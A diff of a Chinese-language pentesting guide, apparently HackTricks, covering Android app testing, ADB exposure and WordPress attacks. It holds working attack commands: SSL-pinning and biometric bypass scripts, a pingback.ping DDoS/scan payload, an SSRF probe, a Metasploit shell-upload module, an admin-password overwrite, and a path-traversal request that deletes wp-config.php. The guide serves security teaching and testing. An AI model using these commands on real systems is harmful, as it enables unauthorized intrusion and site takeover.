- [**Android Studio**](https://developer.android.com/studio)(您可以创建 **x86** 和 **arm** 设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本 **支持 ARM 库**,无需使用慢速的 arm 模拟器)。
|
||||
- 学习如何在此页面上设置:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本,以避免潜在错误。_)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版本:**个人版,您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本,以避免潜在错误。_)
|
||||
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。
|
||||
|
||||
> [!TIP]
|
||||
@ -260,7 +260,7 @@ avd-android-virtual-device.md
|
||||
|
||||
.png>)
|
||||
|
||||
此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(如果您将从不同的 VM 连接到 Android VM,这将非常有用)。
|
||||
此外,请注意在 **Genymotion 中的 Android VM 配置** 中,您可以选择 **桥接网络模式**(如果您将从不同的 VM 连接到 Android VM,这将非常有用)。
|
||||
|
||||
#### 使用物理设备
|
||||
|
||||
@ -272,8 +272,8 @@ avd-android-virtual-device.md
|
||||
4. 按 **构建号** 7 次。
|
||||
5. 返回,您将找到 **开发者选项**。
|
||||
|
||||
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并与之熟悉。\
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**,您可以稍后查看这些数据。
|
||||
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并对此感到熟悉。\
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获** 大量 **有趣的** **数据** 供您稍后查看的同时 **了解应用程序的工作原理**。
|
||||
|
||||
### 意外数据泄露
|
||||
|
||||
@ -293,20 +293,20 @@ Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴
|
||||
|
||||
如果应用程序 **崩溃** 并 **保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
|
||||
|
||||
作为渗透测试者,**请查看这些日志**。
|
||||
作为渗透测试人员,**请查看这些日志**。
|
||||
|
||||
**发送给第三方的分析数据**
|
||||
|
||||
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实施,可能会**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
|
||||
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实现,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
|
||||
|
||||
### SQLite 数据库
|
||||
|
||||
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,请 **查看** 创建的 **数据库**、**表** 和 **列** 的名称以及所有保存的 **数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\
|
||||
数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
如果数据库保存机密信息并且**加密**,但您可以在应用程序中**找到****密码**,这仍然是一个**漏洞**。
|
||||
如果数据库保存机密信息并且 **加密** 但您可以在应用程序中 **找到** **密码**,这仍然是一个 **漏洞**。
|
||||
|
||||
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
|
||||
使用 `.tables` 枚举表,并使用 `.schema <table_name>` 枚举表的列。
|
||||
|
||||
### Drozer(利用活动、内容提供者和服务)
|
||||
|
||||
@ -320,7 +320,7 @@ Drozer 是一个有用的工具,可以**利用导出活动、导出服务和
|
||||
|
||||
**授权绕过**
|
||||
|
||||
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含**敏感信息**的活动被**导出**,您可以**绕过**访问它的**身份验证**机制。
|
||||
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含 **敏感信息** 的活动被 **导出**,您可以 **绕过** **认证** 机制 **以访问它**。
|
||||
|
||||
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -342,7 +342,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
如果未防止tapjacking,您可能会滥用导出的活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。
|
||||
如果未防止tapjacking,您可能会滥用导出活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。
|
||||
|
||||
### 利用内容提供者 - 访问和操纵敏感信息
|
||||
|
||||
@ -424,9 +424,9 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
||||
|
||||
#### 绕过 SSL 钉扎
|
||||
|
||||
当实施 SSL 钉扎时,绕过它变得必要以检查 HTTPS 流量。为此有多种方法可用:
|
||||
当实施 SSL 钉扎时,绕过它成为检查 HTTPS 流量的必要条件。为此有多种方法可用:
|
||||
|
||||
- 自动**修改** **apk**以**绕过** SSLPinning,使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是,您无需 root 权限即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
|
||||
- 自动**修改** **apk**以**绕过** SSL 钉扎,使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是,您无需 root 权限即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
|
||||
- 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
|
||||
@ -439,12 +439,12 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re)是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
|
||||
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、修改值、提取值、运行不同的代码...**\
|
||||
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、更改值、提取值、运行不同的代码...**\
|
||||
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
|
||||
|
||||
- 学习如何使用 Frida:[**Frida 教程**](frida-tutorial/index.html)
|
||||
- 一些与 Frida 相关的“GUI”操作:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection)**,**[**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- 您可以在这里找到一些很棒的 Frida 脚本:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
@ -483,13 +483,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **背景图像**
|
||||
|
||||
当您将应用程序置于后台时,Android 会存储应用程序的 **快照**,这样当它恢复到前台时,它会在应用程序之前开始加载图像,因此看起来应用程序加载得更快。
|
||||
当您将应用程序置于后台时,Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序之前开始加载图像,看起来像是应用程序加载得更快。
|
||||
|
||||
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
|
||||
|
||||
快照通常存储在: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志后,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。
|
||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志后,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -556,7 +556,7 @@ MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您
|
||||
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**根检测** 和 **调试器检测**,并 **监控有趣的 API**。\
|
||||
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图** 并 **保存** 到报告中。
|
||||
|
||||
要 **开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(这将在按下“开始仪器化”后出现)。\
|
||||
要 **开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后会出现)。\
|
||||
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF,请使用 `send()` 函数)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
|
||||
|
||||
.png>)
|
||||
@ -585,7 +585,7 @@ receivers
|
||||
```
|
||||
**HTTP工具**
|
||||
|
||||
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到**代理**如Burp或Owasp ZAP。\
|
||||
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
要做到这一点,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
|
||||
完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
||||
@ -610,7 +610,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...)。与Drozer一样,测试设备无需root。
|
||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...)。与Drozer一样,无需对测试设备进行root。
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -644,7 +644,7 @@ super-analyzer {apk_file}
|
||||
|
||||
StaCoAn 是一个 **跨平台** 工具,帮助开发者、漏洞赏金猎人和道德黑客对移动应用程序进行 [静态代码分析](https://en.wikipedia.org/wiki/Static_program_analysis)。
|
||||
|
||||
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序上,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
|
||||
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序中,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
|
||||
|
||||
下载 [最新版本](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
Android Debug Bridge (adb) 是一个命令行工具,用于与基于 Android 的设备和模拟器进行通信。典型操作包括安装软件包、调试和获取设备上的交互式 Unix shell。
|
||||
|
||||
- 历史默认 TCP 端口:5555(经典的 "adb tcpip" 模式)。
|
||||
- 现代无线调试(Android 11+)使用 TLS 配对和 mDNS 服务发现。连接端口是动态的,通过 mDNS 发现;它可能不是 5555。配对通过 adb pair host:port 然后 adb connect 完成。有关攻击性影响的说明见下文。
|
||||
- 现代无线调试(Android 11+)使用 TLS 配对和 mDNS 服务发现。连接端口是动态的,通过 mDNS 发现;它可能不是 5555。配对通过 adb pair host:port 然后 adb connect 完成。请参阅下面的说明以了解攻击性影响。
|
||||
|
||||
示例 nmap 指纹:
|
||||
```
|
||||
@ -61,9 +61,9 @@ adb pull "/sdcard/<pkg>"
|
||||
- 有用的系统文档(需要 root):
|
||||
- /data/system/users/0/accounts.db 和相关的 AccountManager 数据
|
||||
- /data/misc/wifi/(旧版本上的网络配置/密钥)
|
||||
- /data/data/<pkg> 下的应用特定 SQLite 数据库和 shared_prefs
|
||||
- 应用特定的 SQLite 数据库和 /data/data/<pkg> 下的 shared_prefs
|
||||
|
||||
你可以用这个来检索敏感信息(例如,应用秘密)。有关 Chrome 数据考虑的说明,请参见 [这里](https://github.com/carlospolop/hacktricks/issues/274) 提到的问题。
|
||||
你可以用这个来检索敏感信息(例如,应用秘密)。关于 Chrome 数据考虑的说明,请参见 [这里](https://github.com/carlospolop/hacktricks/issues/274) 提到的问题。
|
||||
|
||||
### 代码执行和有效载荷传递
|
||||
|
||||
@ -115,9 +115,9 @@ adb connect <device_ip>:<conn_port>
|
||||
- _adb-tls-pairing._tcp (配对)
|
||||
- _adb-tls-connect._tcp (已配对连接)
|
||||
- _adb._tcp (传统/明文)
|
||||
- 如果 mDNS 被过滤,经典的 USB 辅助启用在某些版本上仍然有效:`adb tcpip 5555` 然后 `adb connect <ip>:5555`(直到重启)。
|
||||
- 如果 mDNS 被过滤,经典的 USB 辅助启用在某些版本上仍然可能有效:`adb tcpip 5555` 然后 `adb connect <ip>:5555`(直到重启)。
|
||||
|
||||
攻击性影响:如果您可以与设备 UI 交互(例如,物理访问或移动 MDM 配置错误)以启用无线调试并查看配对代码,则可以在没有电缆的情况下建立一个长期配对的 ADB 通道。一些 OEM 在工程/开发镜像中暴露 ADB 通过 TCP 而无需配对——始终检查。
|
||||
攻击性影响:如果您可以与设备 UI 交互(例如,物理访问或移动 MDM 错误配置)以启用无线调试并查看配对代码,则可以在没有电缆的情况下建立一个长期配对的 ADB 通道。一些 OEM 在工程/开发镜像中暴露 ADB 通过 TCP 而无需配对——始终检查。
|
||||
|
||||
## 加固 / 检测
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
- **上传**的文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **上传的** 文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你更改主题的一些 php 文件以获取 RCE,你可能会使用该路径。例如:使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **另一个有用的 URL 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
@ -16,13 +16,13 @@
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` 包含有用的信息,例如安装的 WordPress 版本。
|
||||
- `wp-activate.php` 用于设置新 WordPress 网站时的电子邮件激活过程。
|
||||
- `wp-activate.php` 用于设置新 WordPress 站点时的电子邮件激活过程。
|
||||
- 登录文件夹(可能被重命名以隐藏):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` 是一个代表 WordPress 功能的文件,允许数据通过 HTTP 作为传输机制,XML 作为编码机制进行传输。这种类型的通信已被 WordPress [REST API](https://developer.wordpress.org/rest-api/reference) 取代。
|
||||
- `xmlrpc.php` 是一个代表 WordPress 功能的文件,允许数据通过 HTTP 作为传输机制,XML 作为编码机制进行传输。这种类型的通信已被 WordPress [REST API](https://developer.wordpress.org/rest-api/reference) 替代。
|
||||
- `wp-content` 文件夹是存储插件和主题的主要目录。
|
||||
- `wp-content/uploads/` 是存储上传到平台的任何文件的目录。
|
||||
- `wp-includes/` 这是存储核心文件的目录,例如证书、字体、JavaScript 文件和小部件。
|
||||
@ -30,12 +30,12 @@
|
||||
|
||||
**后期利用**
|
||||
|
||||
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、认证密钥和盐,以及数据库表前缀。该配置文件还可以用于激活 DEBUG 模式,这在故障排除时可能很有用。
|
||||
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、认证密钥和盐,以及数据库表前缀。此配置文件还可以用于激活 DEBUG 模式,这在故障排除时非常有用。
|
||||
|
||||
### 用户权限
|
||||
|
||||
- **管理员**
|
||||
- **编辑**:发布和管理他和其他人的帖子
|
||||
- **编辑者**:发布和管理他和其他人的帖子
|
||||
- **作者**:发布和管理自己的帖子
|
||||
- **贡献者**:撰写和管理自己的帖子但不能发布
|
||||
- **订阅者**:浏览帖子并编辑他们的个人资料
|
||||
@ -62,6 +62,8 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
- JavaScript 文件
|
||||
|
||||
.png>)
|
||||
|
||||
### 获取插件
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
@ -70,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### 提取版本一般信息
|
||||
### 提取版本一般来说
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -172,12 +174,12 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**绕过 2FA**
|
||||
|
||||
此方法是针对程序而非人类的,因此较旧,不支持 2FA。因此,如果您拥有有效的凭据,但主要入口受到 2FA 保护,**您可能能够利用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。
|
||||
此方法是针对程序而非人类的,并且较旧,因此不支持 2FA。因此,如果您拥有有效的凭据,但主要入口受到 2FA 保护,**您可能能够利用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。
|
||||
|
||||
**DDoS 或端口扫描**
|
||||
|
||||
如果您可以在列表中找到方法 _**pingback.ping**_,则可以使 Wordpress 向任何主机/端口发送任意请求。\
|
||||
这可以用来请求**成千上万**的 Wordpress **站点** **访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress** **扫描**一些内部**网络**(您可以指定任何端口)。
|
||||
这可以用来请求**成千上万**的 Wordpress **站点**去**访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress**去**扫描**一些内部**网络**(您可以指定任何端口)。
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -207,7 +209,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
此文件通常位于Wordpress网站的根目录下:**`/wp-cron.php`**\
|
||||
此文件通常位于Wordpress站点的根目录下:**`/wp-cron.php`**\
|
||||
当访问此文件时,会执行一个“**重**”的MySQL **查询**,因此可能被**攻击者**用来**造成****DoS**。\
|
||||
此外,默认情况下,`wp-cron.php`在每次页面加载时被调用(每当客户端请求任何Wordpress页面时),在高流量网站上可能会导致问题(DoS)。
|
||||
|
||||
@ -215,7 +217,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
尝试访问_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Wordpress网站可能会向您发出请求。
|
||||
尝试访问_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Wordpress站点可能会向您发出请求。
|
||||
|
||||
当它不起作用时的响应是:
|
||||
|
||||
@ -229,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
|
||||
此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**,如果存在,它会尝试利用它们。
|
||||
|
||||
## Automatic Tools
|
||||
## 自动化工具
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -260,7 +262,7 @@ return new WP_Error(
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
获取会话。
|
||||
to get a session.
|
||||
|
||||
## 插件 RCE
|
||||
|
||||
@ -275,7 +277,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
.png>)
|
||||
|
||||
上传插件并按立即安装:
|
||||
上传插件并按“立即安装”:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -283,7 +285,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
.png>)
|
||||
|
||||
这可能表面上不会有什么反应,但如果您转到媒体,您将看到您的 shell 已上传:
|
||||
这可能看起来没有任何反应,但如果您去媒体,您会看到您的 shell 已上传:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -295,15 +297,15 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
此方法涉及安装已知存在漏洞的恶意插件,并可以利用该漏洞获取 web shell。此过程通过 WordPress 仪表板进行,如下所示:
|
||||
|
||||
1. **插件获取**:从 Exploit DB 等来源获取插件,如 [**这里**](https://www.exploit-db.com/exploits/36374)。
|
||||
1. **插件获取**:从像 Exploit DB 这样的来源获取插件,如 [**这里**](https://www.exploit-db.com/exploits/36374)。
|
||||
2. **插件安装**:
|
||||
- 导航到 WordPress 仪表板,然后转到 `仪表板 > 插件 > 上传插件`。
|
||||
- 上传下载插件的 zip 文件。
|
||||
3. **插件激活**:插件成功安装后,必须通过仪表板激活。
|
||||
4. **利用**:
|
||||
- 安装并激活插件 "reflex-gallery",可以利用它,因为已知存在漏洞。
|
||||
- 安装并激活插件“reflex-gallery”,可以利用它,因为已知存在漏洞。
|
||||
- Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。
|
||||
- 注意,这只是利用 WordPress 站点的众多方法之一。
|
||||
- 注意,这只是利用 WordPress 网站的众多方法之一。
|
||||
|
||||
内容包括描述在 WordPress 仪表板中安装和激活插件步骤的视觉辅助工具。然而,重要的是要注意,以这种方式利用漏洞在没有适当授权的情况下是非法和不道德的。此信息应负责任地使用,仅在法律背景下使用,例如在获得明确许可的渗透测试中。
|
||||
|
||||
@ -311,7 +313,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
## 从 XSS 到 RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他 WordPress 中的关键漏洞的脚本。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:**
|
||||
- _**权限提升:**_ 在 WordPress 中创建用户。
|
||||
- _**(RCE) 自定义插件(后门)上传:**_ 将您的自定义插件(后门)上传到 WordPress。
|
||||
- _**(RCE) 内置插件编辑:**_ 编辑 WordPress 中的内置插件。
|
||||
@ -332,21 +334,21 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### 攻击面
|
||||
|
||||
了解 Wordpress 插件如何暴露功能是发现其功能漏洞的关键。您可以在以下要点中找到插件可能暴露功能的方式,以及一些易受攻击插件的示例,详见 [**这篇博客文章**](https://nowotarski.info/wordpress-nonce-authorization/)。
|
||||
了解 Wordpress 插件如何暴露功能是发现其功能漏洞的关键。您可以在以下要点中找到插件可能暴露功能的方式,以及一些易受攻击插件的示例在 [**这篇博客文章**](https://nowotarski.info/wordpress-nonce-authorization/) 中。
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
插件暴露功能的一种方式是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或身份验证漏洞。此外,这些函数通常会基于 Wordpress nonce 的存在来进行身份验证和授权,而 **任何在 Wordpress 实例中经过身份验证的用户都可能拥有**(无论其角色如何)。
|
||||
插件暴露功能的一种方式是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或身份验证错误。此外,这些功能通常会基于 Wordpress nonce 的存在来进行身份验证和授权,而 **任何在 Wordpress 实例中经过身份验证的用户都可能拥有**(无论其角色如何)。
|
||||
|
||||
这些是可以用来在插件中暴露功能的函数:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**使用 `nopriv` 使得端点可以被任何用户访问(甚至是未认证的用户)。**
|
||||
**使用 `nopriv` 使得该端点可以被任何用户访问(甚至是未认证的用户)。**
|
||||
|
||||
> [!CAUTION]
|
||||
> 此外,如果该函数只是使用 `wp_verify_nonce` 检查用户的授权,该函数仅检查用户是否已登录,通常并不检查用户的角色。因此,低权限用户可能会访问高权限的操作。
|
||||
> 此外,如果该函数仅使用 `wp_verify_nonce` 检查用户的授权,该函数只是检查用户是否已登录,通常并不检查用户的角色。因此,低权限用户可能会访问高权限的操作。
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -409,9 +411,9 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
因为 `wp-config.php` 位于 *uploads* 之外,默认安装中四个 `../` 序列就足够了。删除 `wp-config.php` 会强制 WordPress 在下次访问时进入 *安装向导*,从而实现完全控制网站(攻击者只需提供新的数据库配置并创建一个管理员用户)。
|
||||
因为 `wp-config.php` 位于 *uploads* 之外,默认安装只需四个 `../` 序列。 删除 `wp-config.php` 会在下次访问时强制 WordPress 进入 *安装向导*,从而实现完全控制网站(攻击者只需提供新的数据库配置并创建一个管理员用户)。
|
||||
|
